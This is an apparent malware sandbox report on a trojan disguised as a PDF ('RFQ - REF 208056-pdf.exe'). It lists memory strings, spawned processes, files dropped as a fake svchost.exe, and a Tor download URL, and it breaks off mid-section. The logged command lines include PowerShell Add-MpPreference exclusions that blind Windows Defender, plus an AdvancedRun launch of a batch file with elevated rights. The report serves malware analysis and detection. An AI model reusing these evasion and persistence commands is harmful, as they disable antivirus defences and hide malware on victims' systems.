Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0C
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.307256810.00000243FF013000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000005.00000003.307045052.00000243FF046000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000005.00000003.307045052.00000243FF046000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000005.00000002.307267041.00000243FF029000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip

System Summary:

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Code function: 0_2_022E0BA0 NtSetInformationThread,

0_2_022E0BA0

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO

Jump to behavior

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_022E2750	0_2_022E2750
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_0237C2F0	0_2_0237C2F0
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_023793F0	0_2_023793F0
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_08100040	0_2_08100040
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_0810000A	0_2_0810000A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357B348	9_2_0357B348
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_035785C0	9_2_035785C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357CAB0	9_2_0357CAB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357F9C8	9_2_0357F9C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357A9B8	9_2_0357A9B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357ECA4	9_2_0357ECA4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03577210	9_2_03577210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03575797	9_2_03575797
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_035757A8	9_2_035757A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03577680	9_2_03577680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357F9C8	9_2_0357F9C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03578DF0	9_2_03578DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0357A9B8	9_2_0357A9B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03580390	9_2_03580390
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03582B08	9_2_03582B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03582B08	9_2_03582B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03582B08	9_2_03582B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03582B08	9_2_03582B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_03582B08	9_2_03582B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_035889BB	9_2_035889BB
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Code function: 16_2_059EB1F4	16_2_059EB1F4
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Code function: 16_2_059EB1E8	16_2_059EB1E8
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Code function: 16_2_059E93F0	16_2_059E93F0
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Code function: 16_2_059EDFB0	16_2_059EDFB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0378C920	17_2_0378C920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0378EA2F	17_2_0378EA2F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0827EC58	17_2_0827EC58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08278DA8	17_2_08278DA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08278D99	17_2_08278D99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0827A427	17_2_0827A427
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0827A438	17_2_0827A438
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08273D83	17_2_08273D83
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08273D90	17_2_08273D90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08307E00	17_2_08307E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08307E00	17_2_08307E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_089EE5A0	17_2_089EE5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_089ED730	17_2_089ED730

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: String function: 0040B550 appears 50 times

Source: unknown

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6556 -ip 6556

Source: RFQ - REF 208056-pdf.exe

Static PE information: invalid certificate

Source: AdvancedRun.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPeBraba.dll6 vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp	Binary or memory string: ,@shell32.dllSHGetSpecialFolderPathWshlwapi.dllSHAutoComplete%2.2X%2.2X%2.2X<>"°&<br><font size="%d" color="#%s"><b></b>\StringFileInfo\\VarFileInfo\Translation%4.4X%4.4X040904E4ProductNameFileDescriptionFileVersionProductVersionCompanyNameInternalNameLegalCopyrightOriginalFileNameRSDSu vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameAdvancedRun.exe8 vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543316412.0000000005C30000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543447459.0000000005C80000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543447459.0000000005C80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000000.228993123.000000000006E000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTEwJVelt.exe2 vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameIoxb OTf.exe2 vs RFQ - REF 208056-pdf.exe
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.401077790.00000000022F0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs RFQ - REF 208056-pdf.exe

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll

Source: classification engine

Classification label: mal100.troj.evad.winEXE@37/15@3/3

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 11_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		11_2_00408FC9
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 13_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		13_2_00408FC9

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

11_2_004095FD

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

11_2_0040A33B

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

11_2_00401306

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20210225

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6216:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6440:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2720:120:WilError_01

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3

Jump to behavior

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

Source: RFQ - REF 208056-pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: RFQ - REF 208056-pdf.exe	Virustotal: Detection: 18%
Source: RFQ - REF 208056-pdf.exe	ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File read: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /SpecialRun 4101d8 5504
Source: unknown	Process created: C:\Windows\explorer.exe 'C:\Windows\explorer.exe' 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Windows\explorer.exe 'C:\Windows\explorer.exe' 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6556 -ip 6556
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6556 -s 2200
Source: unknown	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /SpecialRun 4101d8 5504	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40b2-A1FF-9617C1C9AFFE}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RFQ - REF 208056-pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ - REF 208056-pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, AdvancedRun.exe, 0000000B.00000000.311587089.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000000D.00000000.329692687.000000000040C000.00000002.00020000.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\RFQ - REF 208056-pdf.PDB source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: OnpeiVisualBasic.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: O.pdb3X source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbA source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbn source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: hhRFQ - REF 208056-pdf.PDB source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: System.Management.Automation.pdb-4053062332-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer3215EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F7479F source: powershell.exe, 00000011.00000002.548053273.0000000008392000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb^ source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0x85456217 [Wed Nov 7 16:00:23 2040 UTC]

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_0040289F LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_0040289F

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Code function: 0_2_0237E040 push 00000025h; retf	0_2_0237E044
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 11_2_0040B550 push eax; ret	11_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 11_2_0040B550 push eax; ret	11_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 11_2_0040B50D push ecx; ret	11_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 13_2_0040B550 push eax; ret	13_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 13_2_0040B550 push eax; ret	13_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Code function: 13_2_0040B50D push ecx; ret	13_2_0040B51D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0378BE90 push es; ret	17_2_0378BEA6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_08273BA8 pushad ; ret	17_2_08273BA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0830FE40 push eax; mov dword ptr [esp], edx	17_2_0830FF0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0830F861 push 00000007h; ret	17_2_0830F870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0830FEF8 push eax; mov dword ptr [esp], edx	17_2_0830FF0C

Persistence and Installation Behavior:

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\explorer.exe

Executable created and started: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	File created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe			Jump to dropped file
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	File created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe			Jump to dropped file

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

File created: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

